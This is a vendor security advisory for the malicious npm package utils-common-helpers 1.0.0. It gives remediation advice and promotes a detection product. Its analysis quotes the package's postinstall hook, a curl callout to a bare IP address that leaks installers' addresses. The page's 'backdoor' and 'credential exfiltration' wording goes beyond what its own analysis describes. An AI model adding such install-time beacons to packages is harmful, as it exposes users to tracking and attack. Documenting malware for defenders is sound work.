Which versions of utils-common-helpers are malicious?

The following npm versions of utils-common-helpers are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate utils-common-helpers if I installed it?

utils-common-helpers establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

I already installed utils-common-helpers — how do I know if it already compromised me?

If utils-common-helpers was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is utils-common-helpers part of a known attack campaign?

Yes — utils-common-helpers is associated with the IN-MAL-2026-006802 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find utils-common-helpers across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for utils-common-helpers (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging utils-common-helpers across your stack and pipelines.

Malicious package

utils-common-helpersnpm

utils-common-helpers is a confirmed malicious npm package (MAL-2026-5911) that opens a backdoor for remote access (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in utils-common-helpers (npm)

MAL-2026-5911

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall utils-common-helpers

What this malware does

package.json declares a postinstall lifecycle hook that runs curl -s http://8.140.205.78 -o /dev/null on every install. The package's only functional code is a trivial hello() helper in index.js that returns the string 'hello', which is inconsistent with the declared purpose of 'Common utility helpers for frontend projects'. The lifecycle network call has no relation to any advertised functionality and serves only to disclose the installer's public IP address and install timing to the operator of the bare IP 8.140.205.78. This is a classic install-counter / victim-discovery beacon pattern: a throwaway lure package whose real purpose is the install-time callout. Plain HTTP to a bare IP (no TLS, no domain, no documented purpose) is inconsistent with any legitimate telemetry shape.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

e6999f05f6036baf4f6d45de0c55c6dd63452dc59ab6ebcbad0ffebf93e60584

Detection & response playbook

Backdoor / remote access

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for utils-common-helpers (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging utils-common-helpers across your stack and pipelines.
If you installed it — respond
utils-common-helpers establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If utils-common-helpers was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks utils-common-helpers before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. utils-common-helpers on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-006802

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks utils-common-helpers-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Malware detection Runtime egress monitoring

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